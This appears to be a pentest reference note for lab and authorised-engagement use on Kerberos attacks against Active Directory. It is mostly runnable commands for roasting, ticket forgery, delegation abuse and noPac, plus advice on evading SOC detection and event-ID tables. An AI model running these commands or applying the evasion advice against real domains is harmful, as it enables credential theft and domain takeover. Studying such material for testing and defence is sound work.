FLOW ^: Pentest Workflow

Stage 05 — Kerberos Attacks

CPTS attack-flow reference for stage 05 — kerberos attacks in an authorised engagement.

advanced updated 2026-08-29 Impacket · Rubeus · Kerbrute · Hashcat

[!dashboard] Attack-flow navigation Dashboard: HTB Pentest Attack Flow

Section: 08 of 17 · Focus: Stage 05 — Kerberos Attacks

Previous: Stage 04 — Active Directory Enumeration · Next: Stage 06 — ACL and Object Abuse


🎟️ STAGE 5 — Kerberos Attacks

Once I hold any valid domain creds (from spraying/roasting) I pivot to Kerberos: pull crackable material, replay tickets, and launder hashes into TGTs. All of this talks to the KDC on port 88 against $DC.

[!warning] Watch out — clock skew kills every Kerberos tool Kerberos rejects any request more than 5 min off the DC clock: KRB_AP_ERR_SKEW (Clock skew too great). Don’t touch my host clock — wrap the one tool that talks Kerberos with faketime. Measure first, then prefix:

nmap -p 88 --script clock-skew -Pn $DC          # median: 7h30m00s  => DC is ahead
faketime -f '+7h30m' getTGT.py "$DOMAIN"/"$U":"$P" -dc-ip $IP
# unsure of the sign? sync outright instead:
sudo ntpdate $IP

Always add -f so forked Python children inherit the fake time. faketime source: wolfcw/libfaketime; HTTP-based sync alternative: htpdate. Full playbook: faketime-cheatsheet.


⏱️ Kerberos in 60 seconds — the flow every attack hangs off

Kerberos auth exchangeTD
Client → KDCAS-REQ — prove identity (timestamp encrypted with my key)
KDC → ClientAS-REP — TGT (encrypted with krbtgt key) + session key
Client → KDCTGS-REQ — TGT + SPN of the service I want
KDC → ClientTGS-REP — service ticket (encrypted with the SERVICE account's key)
Client → ServiceAP-REQ — present service ticket
Service → Clientaccess granted

Why each attack exists, mapped to a step:

StepAttackWhy it works
1–2AS-REP RoastNo pre-auth required → the AS-REP material is encrypted with the user’s password key → offline crack
3–4KerberoastAny user may request a TGS; the TGS is encrypted with the service account’s password key → offline crack
1–2Overpass-the-Hash / Pass-the-KeyThe “proof of identity” key IS the NT hash / AES key — owning it = minting TGTs
1–5Pass-the-TicketTickets are bearer tokens; a stolen/forged TGT or TGS replays until expiry
3–4Delegation abuse (S4U)Trusted services can ask the KDC for tickets on behalf of users — misconfig = impersonate anyone
forgeGolden/Silver/DiamondOwning krbtgt (or service) keys = sign my own tickets, skipping the KDC entirely

Key terms: TGT (ticket-granting ticket, from AS exchange), TGS (service ticket, from TGS exchange), SPN (service/hostname string binding a service to an account), PAC (authorization data inside the ticket — where group SIDs live), krbtgt (the KDC’s own account — its key signs every TGT).

[!abstract]- MITRE ATT&CK map for this stage

TechniqueSection
T1558.003 — KerberoastingKerberoasting / Targeted Kerberoasting
T1558.004 — AS-REP RoastingAS-REP Roasting
T1550.003 — Pass the TicketPtT
T1550.002 — Pass the Hash (OPtH variant)Overpass-the-Hash
T1558.001 — Golden Ticket / T1558.002 — Silver TicketTicket forgery
T1558 — Steal or Forge Kerberos Tickets (delegation sub-paths)Delegation section
T1187 — Forced AuthenticationCoercion (PetitPotam/printerbug)

🔥 Kerberoasting — SPN accounts → offline crack

What to look for: user accounts with a servicePrincipalName set (svc_sql, svc_backup, svc_iis…). Any domain user can request their TGS — no privs needed. The TGS is encrypted with the service account’s password hash. Discovery itself lives in Stage 04 (--kerberoasting, Get-DomainUser -SPN, setspn -Q */*); this section is the harvest.

Enumerate

# List SPN accounts — no ticket requested yet
GetUserSPNs.py "$DOMAIN"/"$U":"$P" -dc-ip $IP

# netexec sweep (also dumps in one shot)
nxc ldap $DC -u "$U" -p "$P" --kerberoasting kerb.hash

Exploit / Attack

# Request + dump ALL TGS hashes
GetUserSPNs.py "$DOMAIN"/"$U":"$P" -dc-ip $IP -request -outputfile kerb.hash

# Single high-value target
GetUserSPNs.py "$DOMAIN"/"$U":"$P" -dc-ip $IP -request-user svc_sql -outputfile svc_sql.hash

# Auth with an NT hash instead of a password
GetUserSPNs.py "$DOMAIN"/"$U" -hashes :<NTHASH> -dc-ip $IP -request

# impacket asks for RC4 tickets by default - there is NO etype flag;
# the explicit RC4 downgrade lives on the Windows side: .\Rubeus.exe kerberoast /rc4
GetUserSPNs.py "$DOMAIN"/"$U":"$P" -dc-ip $IP -request

# Crack — RC4 ($krb5tgs$23$) is mode 13100
hashcat -m 13100 kerb.hash /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule
# AES128 ($krb5tgs$17$) -> 19600 | AES256 ($krb5tgs$18$) -> 19700
hashcat -m 19600 kerb.hash /usr/share/wordlists/rockyou.txt
hashcat -m 19700 kerb.hash /usr/share/wordlists/rockyou.txt

On-host from Windows I reach for Rubeus instead (see Rubeus-Cheatsheet):

[!tools] Stage this — Rubeus (the Kerberos Swiss army knife) Rubeus.exe (SHA-256 · GPG signature) GhostPack Rubeus covers this whole note on-host: kerberoast, asreproast, asktgt, ptt, s4u, monitor, diamond, describe. Same binary gets reused in every section below.

.\Rubeus.exe kerberoast /outfile:hashes.txt /nowrap
.\Rubeus.exe kerberoast /user:svc_sql /nowrap
.\Rubeus.exe kerberoast /stats            # recon only — zero ticket requests
.\Rubeus.exe kerberoast /rc4 /nowrap      # RC4-downgrade for fast cracking
.\Rubeus.exe kerberoast /aes /nowrap      # or request AES tickets when RC4 is blocked

RC4-downgrade notes:

  • Older svc accounts often support RC4 while the domain defaults to AES — asking for RC4 (/rc4, or Rubeus default behaviour) yields a $krb5tgs$23$ that cracks ~1000× faster than AES256.
  • AES-only accounts (msDS-SupportedEncryptionTypes = 24) refuse RC4: KDC_ERR_ETYPE_NOSUPP → take the AES ticket and crack 19600/19700 (or pick a different target).
  • Every RC4 request is a detection beacon: Event 4769 with Ticket Encryption Type: 0x17 where the baseline is 0x12 is a classic SIEM rule. Prefer AES requests on monitored networks even though the crack is slower.

Hash-mode cheat table:

Hash prefixMaterialHashcatNotes
$krb5asrep$23$AS-REP, RC418200AS-REP roast, no creds needed
$krb5tgs$23$TGS, RC413100standard kerberoast — fast
$krb5tgs$17$TGS, AES12819600AES-enforced accounts
$krb5tgs$18$TGS, AES25619700slowest — add -w 3, good rules

[!warning] Watch out

  • $krb5tgs$23$ = RC4 = mode 13100 (fast). $krb5tgs$18$ = AES256 = 19700 (slow, may need -w 3). Read the prefix before you pick the mode.
  • AES-only domains throw KDC_ERR_ETYPE_NOSUPP on RC4 downgrade — switch to 19600/19700.
  • Always -outputfile / /nowrap; wrapped base64 lines silently corrupt the hash.
  • Bulk roasting = a burst of Event 4769 (etype 0x17) → instant SIEM flag. Target single accounts when it matters.
  • Cracked svc account → immediately re-enumerate as it (the doctrine in Stage 04): service accounts routinely hold shares, SQL, or delegation rights the original user lacked.

Deep dives: 🔴 Attack · Kerberoasting Cheatsheet · Kerberoasting — Local On-Host Cheatsheet.


🩸 AS-REP Roasting — pre-auth disabled → crack with no creds

What to look for: accounts with DONT_REQ_PREAUTH (userAccountControl bit 0x400000). The KDC hands back an AS-REP blob encrypted with the account’s hash without any proof of identity — I don’t even need creds, just a username. Discovery lives in Stage 04 (--asreproast, kerbrute --hash-file, PowerView -PreauthNotRequired).

Enumerate

# Authenticated auto-discovery of vulnerable accounts
nxc ldap $DC -u "$U" -p "$P" --asreproast asrep.hash

Exploit / Attack

# No creds — brute a userlist (only usernames needed)
GetNPUsers.py "$DOMAIN"/ -no-pass -usersfile users.txt -dc-ip $IP -format hashcat -outputfile asrep.hash

# Authenticated — auto-enumerate + dump every vulnerable account
GetNPUsers.py "$DOMAIN"/"$U":"$P" -dc-ip $IP -request -format hashcat -outputfile asrep.hash

# Unauthenticated AS-REP roast across a user list (no creds needed — only DONT_REQ_PREAUTH accounts pop)
GetNPUsers.py "$DOMAIN"/ -no-pass -usersfile users.txt -dc-ip $IP -format hashcat
# No etype flag exists here either: AES-only accounts come back as $krb5asrep$18$ (hashcat 19900)

# Crack — AS-REP ($krb5asrep$23$) is mode 18200
hashcat -m 18200 asrep.hash /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule

Windows / on-host:

.\Rubeus.exe asreproast /format:hashcat /outfile:asrep.txt /nowrap

[!tip] Run AS-REP roasting before password spraying — it’s passive, needs no creds, and each account is queried once so there’s zero lockout risk. This is the “user list → cred” bridge in the Stage 04 methodology.

[!warning] Watch out AS-REP is mode 18200, NOT 13100 — different hash ($krb5asrep$ vs $krb5tgs$). Unauthenticated runs leave a 4768 with PreAuthType: 0 per target — light touch, don’t spray 20 at once. GetNPUsers.py errors are also the best skew tripwire: KRB_AP_ERR_SKEW = fix the clock (top of this note) before anything else.

Deep dive: 🔴 Attack.


🎯 Targeted Kerberoasting — write an SPN, then roast

What to look for: I hold GenericWrite/GenericAll over a user object (from ACL abuse / BloodHound). I set a bogus SPN on it, roast the TGS, then strip the SPN to clean up. This is the standard way to spend a GenericWrite edge on a user when I can’t reset the password safely.

[!tools] Stage this — targetedKerberoast targetedKerberoast.py (SHA-256 · GPG signature) Source: ShutdownRepo/targetedKerberoast. One-shot: sets a temp SPN via my ACL, requests the TGS, removes the SPN again, prints a hashcat-ready hash.

Exploit / Attack

# One-shot: adds a temp SPN, roasts, removes the SPN
python3 targetedKerberoast.py -v -d "$DOMAIN" -u "$U" -p "$P" --dc-ip $IP --request-user <target>
hashcat -m 13100 <target>.hash /usr/share/wordlists/rockyou.txt

# Manual equivalent via bloodyAD (set SPN -> roast -> clear)
bloodyAD --host $DC -d "$DOMAIN" -u "$U" -p "$P" set object <target> servicePrincipalName -v 'any/SPN'
GetUserSPNs.py "$DOMAIN"/"$U":"$P" -dc-ip $IP -request-user <target> -outputfile <target>.hash
bloodyAD --host $DC -d "$DOMAIN" -u "$U" -p "$P" remove object <target> servicePrincipalName

[!warning] Watch out targetedKerberoast.py is a fork of Python impacket → it needs the clock right too. sudo ntpdate $IP (or faketime -f '+Xh') before you run it, or it fails on skew. Same mode 13100 crack. The write itself is logged (Event 5136/4662 directory-service changes) — on monitored networks, roast-and-clean fast; leaving a stray SPN is both an IOC and a broken account.


🎫 Pass-the-Ticket (PtT) — grab a TGT, replay it

What to look for: a valid TGT/ccache — either dumped from LSASS on a Windows host (Rubeus/Mimikatz) or minted from creds/hash with getTGT.py. A TGT = access to any service the victim can reach; a TGS = that one service only. Bypasses MFA — the ticket is already authenticated.

Enumerate / obtain a ticket

# Mint a TGT from creds or an NT hash (outputs <user>.ccache)
getTGT.py "$DOMAIN"/"$U":"$P" -dc-ip $IP
getTGT.py "$DOMAIN"/"$U" -hashes :<NTHASH> -dc-ip $IP

export KRB5CCNAME=$(pwd)/"$U".ccache
klist                                     # confirm it loaded + check expiry

Exploit / Attack — use -k -no-pass everywhere

export KRB5CCNAME=/path/to/ticket.ccache
psexec.py     -k -no-pass "$DOMAIN"/"$U"@$DC
wmiexec.py    -k -no-pass "$DOMAIN"/"$U"@$DC
secretsdump.py -k -no-pass "$DOMAIN"/"$U"@$DC
nxc smb $DC --use-kcache
evil-winrm -i $DC -r "$DOMAIN"

# Windows-format ticket? convert .kirbi -> .ccache first (and back for Rubeus)
ticketConverter.py ticket.kirbi ticket.ccache
ticketConverter.py ticket.ccache ticket.kirbi

kirbi ↔ ccache — the format map:

FormatNative toUse withConvert
.ccacheMIT Kerberos (Linux)impacket -k, evil-winrm -r, klistticketConverter.py x.kirbi x.ccache
.kirbiWindows / Rubeus / mimikatzRubeus.exe ptt, kerberos::pttticketConverter.py x.ccache x.kirbi
base64 blobRubeus /nowrap outputRubeus.exe ptt /ticket:<b64>wrap/unwrap via ticketConverter after decoding
# Inspect any ticket before burning it (see flags, etype, expiry)
describeTicket.py ticket.ccache

From a Windows foothold I dump + inject in place:

.\Rubeus.exe triage
.\Rubeus.exe dump /nowrap
.\Rubeus.exe ptt /ticket:<base64_or_kirbi>
# mimikatz alternative:
# mimikatz # sekurlsa::tickets /export
# mimikatz # kerberos::ptt ticket.kirbi

[!warning] Watch out

  • Kerberos is hostname-based: authenticate to $DC (the FQDN), never the raw $IP, or you get KRB_AP_ERR / principal-unknown. Add $IP $DC $DOMAIN to /etc/hosts.
  • export KRB5CCNAME before the tool, and -k -no-pass on the tool itself — forget either and it silently falls back to NTLM.
  • TGT default life is 10h; a nearly-expired one is dead weight — klist the expiry.
  • A stolen TGT replayed from a new source IP is exactly what “pass-the-ticket” analytics look for (ticket used from a host that never did the AS-REQ). On monitored networks prefer OPtH/asktgt to mint a fresh TGT over replaying a stolen one.

Deep dive: 🔴 Attack · full ticket toolkit in Impacket-Cheatsheet.


🔐 Overpass-the-Hash (Pass-the-Key) — NT hash → fresh TGT

What to look for: I have an NT hash (or AES key) but NTLM is blocked/monitored. OPtH uses the hash as a Kerberos key to request a brand-new TGT, so I operate purely in Kerberos from there. AES key = stealthiest and works even when RC4 is disabled.

Exploit / Attack

# NT hash -> TGT
getTGT.py "$DOMAIN"/"$U" -hashes :<NTHASH> -dc-ip $IP
# AES256 key -> TGT (no RC4 downgrade signature)
getTGT.py "$DOMAIN"/"$U" -aesKey <AES256KEY> -dc-ip $IP

export KRB5CCNAME=$(pwd)/"$U".ccache
psexec.py -k -no-pass "$DOMAIN"/"$U"@$DC

# Skip the TGT — go straight for a service ticket
getST.py "$DOMAIN"/"$U" -hashes :<NTHASH> -spn cifs/$DC -dc-ip $IP

Windows / Rubeus:

.\Rubeus.exe asktgt /user:"$U" /rc4:<NTHASH>    /domain:"$DOMAIN" /dc:$DC /ptt
.\Rubeus.exe asktgt /user:"$U" /aes256:<AES256KEY> /domain:"$DOMAIN" /opsec /ptt
.\Rubeus.exe asktgt /user:"$U" /password:"$P" /domain:"$DOMAIN" /ptt     # cred -> TGT, inject in one go

[!warning] Watch out RC4 OPtH throws Event 4768 etype 0x17 — a red flag in AES-enforced domains. Pull the AES key (sekurlsa::ekeys) and use /aes256 / -aesKey to blend in. AES-only domains reject RC4 with KDC_ERR_ETYPE_NOSUPP. Rubeus /opsec mimics a legitimate AS-REQ exchange (two-step pre-auth) instead of the noisy one-shot — use it whenever detection is in scope.

Deep dive: 🔴 Attack.


🥇🥈 Golden & Silver Tickets — forging with stolen keys

Post-DA / forgery territory — needs the krbtgt hash (Golden) or a service/computer account hash (Silver) plus the domain SID. Golden = forge a TGT (opens everything, KDC-validates it). Silver = forge one service’s TGS (never touches the KDC — quieter, but only that service on that host).

[!tools] Stage this — mimikatz (the original ticket forger) mimikatz_trunk.zip (SHA-256 · GPG signature) Source: gentilkiwi/mimikatz. The impacket ticketer.py equivalents below are the Linux-side option; mimikatz is the on-host option.

# Domain SID
lookupsid.py "$DOMAIN"/"$U":"$P"@$IP 0 | grep -i 'Domain SID'

# GOLDEN — forge a TGT from the krbtgt hash (get it via DCSync first)
ticketer.py -nthash <KRBTGT_NT> -domain-sid <DOMAIN_SID> -domain "$DOMAIN" Administrator
# stealthier: forge with the krbtgt AES256 key instead of the NT hash
ticketer.py -aesKey <KRBTGT_AES256> -domain-sid <DOMAIN_SID> -domain "$DOMAIN" Administrator

# SILVER — forge a single-service TGS from the service/computer acct hash (never touches KDC)
ticketer.py -nthash <SVC_NT> -domain-sid <DOMAIN_SID> -domain "$DOMAIN" -spn cifs/$DC Administrator

export KRB5CCNAME=$(pwd)/Administrator.ccache
psexec.py -k -no-pass "$DOMAIN"/Administrator@$DC
# mimikatz equivalents (on-host)
mimikatz # lsadump::dcsync /user:krbtgt                      # get krbtgt keys (needs DCSync rights)
mimikatz # kerberos::golden /user:Administrator /domain:$DOMAIN /sid:<SID> /krbtgt:<NT> /ptt
mimikatz # kerberos::golden /user:Administrator /domain:$DOMAIN /sid:<SID> /aes256:<KEY> /ptt

Golden vs Silver — when each:

Golden (krbtgt key)Silver (service/machine key)
ScopeAny user, any service, domain-wideOne service on one host
KDC contactTGS-REQ still happens (4769 logged)None — service validates it locally
DetectionPAC/flow anomalies, 4769 mismatchOnly service-side logs (often unmonitored) — stealthier
SurvivalDies only on double krbtgt resetDies when the service/machine password rotates
Best forPersistence, full-domain accessQuiet access to one box (e.g. cifs/, host/, http/)

[!note] Deep dives: 🟠 Attack · 🟠 Attack · 🥈 Silver Ticket Attack Cheatsheet. Reminder: post-Nov-2021 patches require the forged username to exist in AD, and only a double krbtgt reset kills a Golden Ticket.

[!tip] Crack-mode quick card: Kerberoast RC4 13100 · AES128 19600 · AES256 19700 · AS-REP 18200. Full list: hashcat modes.


💎 Diamond & Sapphire Tickets (stealth variants)

What to look for → you hold the KRBTGT AES key and want a forged TGT that survives modern detection. A Golden Ticket is forged from scratch (no matching AS-REQ on the DC = a detection signature); a Diamond ticket decrypts a real TGT, rewrites its PAC, and re-signs it — so it has a legitimate audit trail. Sapphire goes one step further: it copies the PAC of a real privileged user (fetched via S4U) into the forged ticket, so even the PAC contents match a genuine logon.

GoldenDiamondSapphire
Needskrbtgt keykrbtgt key + any way to get a real TGTkrbtgt key + target user’s PAC (via S4U2Self)
AS-REQ on DC?❌ none (detectable gap)✅ real one exists✅ real one exists
PACfabricatedmodified from real TGTcopied from a real high-priv user
Detection resistancelowhighhighest

Exploit (Rubeus, on a Windows foothold)

# grab a real TGT (tgtdeleg), inject DA into its PAC, re-sign with the krbtgt AES256 key
Rubeus.exe diamond /tgtdeleg /ticketuser:Administrator /ticketuserid:500 /groups:512 `
  /krbkey:<AES256_of_krbtgt> /nowrap

[!note] When to bother On HTB, a Golden Ticket (via ticketer.py / mimikatz kerberos::golden) is usually enough and simpler. Reach for Diamond/Sapphire only when detection is explicitly in scope. Deep dives: 🟠 Attack · 🟠 Attack.


🔁 Delegation abuse — unconstrained, constrained, RBCD

Delegation = a service trusted to request tickets on behalf of users. Three flavours, three different attacks. Discovery: nxc ldap $DC -u "$U" -p "$P" --find-delegation / BloodHound AllowedToDelegate edges / PowerView -TrustedToAuth (Stage 04).

Unconstrained delegation — the TGT vacuum

A host trusted for unconstrained delegation caches the TGT of every user who authenticates to it. Own the host → dump LSASS → collect TGTs. No users coming? Coerce a privileged one.

[!tools] Stage this — PetitPotam (coerce the DC to authenticate to me) PetitPotam.py (SHA-256 · GPG signature) Source: topotam/PetitPotam. Alternatives: SpoolSample / printerbug (MS-RPRN), Coercer (multi-protocol scanner), DFSCoerce.

# 1) sit on the unconstrained host and watch for incoming TGTs
.\Rubeus.exe monitor /interval:5 /nowrap
# 2) from my box, force the DC to auth to the unconstrained host
python3 PetitPotam.py <UNCONSTRAINED_HOST> $DC          # patched DCs: try printerbug instead
python3 printerbug.py "$DOMAIN"/"$U":"$P"@$DC <UNCONSTRAINED_HOST>
# 3) the DC$ machine TGT lands in Rubeus monitor -> ptt it -> DCSync
.\Rubeus.exe ptt /ticket:<base64_from_monitor>
mimikatz # lsadump::dcsync /user:krbtgt

[!warning] Watch out DC computer accounts are in Protected Users on modern domains → their TGTs don’t forward. In that case coerce a different DC, or pivot to RBCD below. Coercion = forced authentication (T1187) and is loud — one shot, not a loop.

Constrained delegation — S4U2Proxy impersonation

A service with msDS-AllowedToDelegateTo: cifs/target can ask the KDC for a service ticket as any user to that target service only.

# Linux — getST with S4U2Self+S4U2Proxy in one shot
getST.py -spn cifs/<TARGET_FQDN> -impersonate Administrator "$DOMAIN"/"$U":"$P" -dc-ip $IP
export KRB5CCNAME=Administrator.ccache
psexec.py -k -no-pass "$DOMAIN"/Administrator@<TARGET_FQDN>
# Windows — Rubeus s4u (needs the delegating service's hash or TGT)
.\Rubeus.exe s4u /user:svc_iis /rc4:<SVC_NTHASH> /impersonateuser:Administrator /msdsspn:cifs/<TARGET> /ptt
# protocol transition (TrustedToAuth) lets a non-Kerberos auth become a TGS:
.\Rubeus.exe s4u /user:svc_web /ticket:<tgt.kirbi> /impersonateuser:Administrator /msdsspn:time/<DC> /altservice:ldap /ptt

[!note] Bronze Bit (CVE-2020-17049) Pre-Dec-2020 KDCs ignored the “not forwardable” bit on S4U2Self tickets, letting constrained delegation impersonate Protected Users / delegation-protected accounts. Mostly patched now — check on 2016/2019-era boxes, otherwise expect KDC_ERR_BADOPTION.

RBCD — Resource-Based Constrained Delegation (the GenericWrite-on-computer play)

The modern standard: if I have GenericWrite/WriteProperty over a computer object (or can create a machine account — MachineAccountQuota > 0), I set msDS-AllowedToActOnBehalfOfOtherIdentity on the victim computer and S4U myself in. This is the edge behind half of BloodHound’s “computer takeover” paths.

# 0) check quota first (need > 0 to add a machine)
nxc ldap $DC -u "$U" -p "$P" -M maq

# 1) add a machine account I control (Linux: impacket addcomputer.py | Windows: Powermad)
addcomputer.py -computer-name 'ATTACK$' -computer-pass 'Passw0rd!' -dc-ip $IP "$DOMAIN"/"$U":"$P"
# Windows:  Import-Module .\Powermad.ps1 ; New-MachineAccount -MachineAccount ATTACK

# 2) grant my machine account RBCD on the VICTIM computer
bloodyAD --host $DC -d "$DOMAIN" -u "$U" -p "$P" add rbcd 'VICTIM$' 'ATTACK$'
# impacket equivalent:
rbcd.py -delegate-from 'ATTACK$' -delegate-to 'VICTIM$' -dc-ip $IP -action write "$DOMAIN"/"$U":"$P"

# 3) S4U as Administrator to the victim
getST.py -spn cifs/<VICTIM_FQDN> -impersonate Administrator "$DOMAIN"/'ATTACK$':'Passw0rd!' -dc-ip $IP
export KRB5CCNAME=Administrator.ccache
psexec.py -k -no-pass "$DOMAIN"/Administrator@<VICTIM_FQDN>

# 4) CLEANUP — reverse every write, every time
bloodyAD --host $DC -d "$DOMAIN" -u "$U" -p "$P" remove rbcd 'VICTIM$' 'ATTACK$'
addcomputer.py -computer-name 'ATTACK$' -dc-ip $IP "$DOMAIN"/"$U":"$P" -delete

[!danger] Cleanup is part of the attack An orphaned RBCD entry (msDS-AllowedToActOnBehalfOfOtherIdentity) is a persistent, stealthy backdoor — great for an APT, unacceptable to leave in a client’s AD. Log the attribute’s original value before writing, and restore it exactly. Detection: Event 5136 (attribute modified) on the computer object + Event 4662 if auditing; machine-account creation = Event 4741.

Also: getST.py impersonation of Administrator to cifs/ fails if the target admin is in Protected Users or marked “account is sensitive and cannot be delegated” — impersonate a different privileged user instead.


🧨 sAMAccountName spoof + noPac (CVE-2021-42278 / CVE-2021-42287)

Any domain user + default MachineAccountQuota=10 → create a machine account, rename it to a DC’s name (spoof sAMAccountName), request a TGT, rename back, then S4U2Self — the KDC “loses” the machine and grants a ticket as the DC → DCSync → DA. Unpatched 2016/2019/2022 DCs only.

# check
nxc smb $DC -u "$U" -p "$P" -M nopac
# exploit (noPac — github.com/Ridter/noPac)
python3 noPac.py "$DOMAIN"/"$U":"$P" -dc-ip $IP -dc-host ${DC%%.*} -shell --impersonate Administrator -use-ldap
# or dump instead of shell:  -dump
# sam-the-admin (github.com/WazeHell/sam-the-admin) — the same chain with a cleaner auto-flow:
python3 sam_the_admin.py "$DOMAIN"/"$U":"$P" -dc-ip $IP -shell

[!warning] Watch out Needs MAQ > 0 and an unpatched DC — both rarer in 2026, but lab ranges love it. Leaves Event 4741 (computer created) + 4781/4742 (renames) + anomalous 4768/4769 — extremely noisy chain; on real engagements prefer RBCD/ACL paths unless this is the only door. Links: noPac · sam-the-admin. Also covered in the Stage 04 CVE checkpoint (Stage 04).


🛡️ Detection & OPSEC — what Kerberos attacks look like to a SOC

My actionEvent / signalBlend-in move
AS-REP roast (unauth)4768 with Pre-Auth Type: 0, one per accountquery few accounts; it’s quiet in ones
Kerberoast burst4769 spike, Ticket Encryption: 0x17 (RC4)single-target requests; accept AES (0x12) tickets
RC4 downgrade4768/4769 etype 0x17 where baseline is 0x12request AES explicitly; crack 19600/19700
Failed auth (bad hash/spread)4771 (Kerberos pre-auth failed), 4625validate creds once, don’t re-spray
OPtH with RC44768 etype 0x17 for a user whose baseline is AESuse /aes256 + Rubeus /opsec (real 2-step AS-REQ)
PtT from new hostticket used from IP that never did AS-REQ (KDC-log correlation)mint fresh TGT (asktgt) instead of replaying
Golden ticketTGT with no matching 4768 on the DCDiamond/Sapphire (real AS-REQ trail)
Coercion (PetitPotam)DC machine account connects out — NDR/EDR beaconone-shot only; have the trap set first
RBCD write5136/4662 attribute change + 4741 machine creationrestore original attribute; delete the machine

[!danger] OPSEC rules for tickets

  • Prefer AES keys over RC4 everywhere (sekurlsa::ekeys grabs both) — RC4 etype is the single easiest Kerberos detection to write.
  • Respect lifetimes: default TGT 10h / renewable 7d. A forged ticket with a 10-year lifetime is an IOC; match the domain’s MaxTicketAge.
  • Wipe opsec fields: when forging, set realistic LogonCount, BadPwdCount, LastLogon in the PAC (mimikatz/ticketer defaults can be zeroed — a user with 0 logons holding DA group membership is an anomaly).
  • Purge after use: kdestroy (Linux) / Rubeus.exe purge / klist purge (Windows) — and on the defending side, remember only a double krbtgt reset retires golden tickets.
  • Full defense-side reading: detections in MITRE ATT&CK T1558 sub-techniques.

[!navigation] Continue the attack flow Previous: Stage 04 — Active Directory Enumeration

Dashboard: HTB Pentest Attack Flow

Next: Stage 06 — ACL and Object Abuse